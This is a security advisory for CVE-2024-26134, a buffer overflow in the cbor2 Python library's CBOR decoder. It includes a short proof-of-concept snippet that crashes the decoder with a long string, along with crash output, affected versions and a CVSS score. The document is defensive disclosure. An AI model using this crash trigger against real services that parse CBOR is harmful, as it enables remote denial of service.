CVE-2024-26134

HIGH7.5EPSS 1.1%

Potential buffer overflow in CBOR2 decoder

Published: 2/21/2024Modified: 2/4/2026
Also known as:GHSA-375g-39jq-vq7mPYSEC-2024-155

Description

### Summary Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still) ## Details ### PoC ```py import json import concurrent.futures import cbor2 def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc) with concurrent.futures.ProcessPoolExecutor() as executor: future = executor.submit(test) print(future.result()) ``` ``` malloc(): unsorted double linked list corrupted Traceback (most recent call last): File "test.py", line 14, in <module> print(future.result()) File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result return self.__get_result() File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result raise self._exception concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending. ``` If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow. ```py import json import cbor2 def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc) print(test()) ``` ``` Traceback (most recent call last): File "test.py", line 12, in <module> print(test()) File "test.py", line 9, in test return cbor2.loads(cbor_enc) SystemError: <built-in function loads> returned NULL without setting an error ``` ### Impact An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

Affected packages (3)

  • Debian/cbor2from 0, < 5.6.2-1
  • PyPI/cbor2>= 5.5.1, < 5.6.2
  • PyPI/cbor2from 0, < 387755eacf0be35591a478d3c67fe10618a6d542, < 4de6991ba29bf2290d7b9d83525eda7d021873df, < 387755eacf0be35591a478d3c67fe10618a6d542, < 4de6991ba29bf2290d7b9d83525eda7d021873df | >= 5.5.1, < 5.6.2

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References (15)